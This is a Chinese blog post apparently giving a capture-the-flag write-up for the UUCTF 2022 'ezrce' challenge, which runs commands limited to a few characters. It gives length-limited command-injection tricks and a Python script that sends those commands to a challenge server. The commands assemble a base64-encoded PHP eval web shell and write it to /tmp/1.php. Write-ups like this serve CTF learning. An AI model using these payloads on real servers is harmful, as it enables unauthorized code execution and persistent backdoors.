nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

[UUCTF 2022 新生赛]ezrce

开始做题

首先进入页面叫我们输入命令,随便输一个ls,发现命令已在回显为./tmp/目录下成功执行
思考,在tmp目录下执行,我们访问试一试发现没有结果,因为tmp是个目录,接下来我们就随便输入命令试一试,发现有字符串长度限制为6,很明显考点就是字符串长度限制
首先说一个比较简单但是巧合的wp

    >nl
* /*>d

第一个:创建一个叫nl的文件
* /*>d 意思就是 nl /*>f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数来自yb0os5师傅

因为很巧的就是flag就在跟目录,如果不在都做不出
下面是比较通用的wp
首先需要知道一些命令的意思

a 在Linux会创建一个叫a的文件
*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v>0 等价于 rev v >0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
linux下换行执行命令:
ech\
o\
首先需要明确我们需要仔细的命令,比如写入一句话木马,我们最好base64编码,可以除去很多符号,下面就是yb0os5师傅的脚本
url="http://43.142.108.3:28933/post.php"
print("[+]start attack!!!")
with open("5字符RCE.txt", "r") as f:
    for i in f:
        data = {"cmd": f"{i.strip()}"}
        requests.post(url=url,data=data)

resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
if resp.status_code == requests.codes.ok:
    print("[*]Attack success!!!")

    
5字符RCE.txt
>dir
>sl
>ht-
>f\>
*>v
>rev
*v>0
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
sh 0
sh f

省去一个一个写的麻烦
大概的意思就是echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php当然我这样base64编码和他不一样
然后意思就是往tmp目录写了一个文件叫做1.php,里面是木马
后面怎么做就很简单了

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » [UUCTF 2022 新生赛]ezrce

评论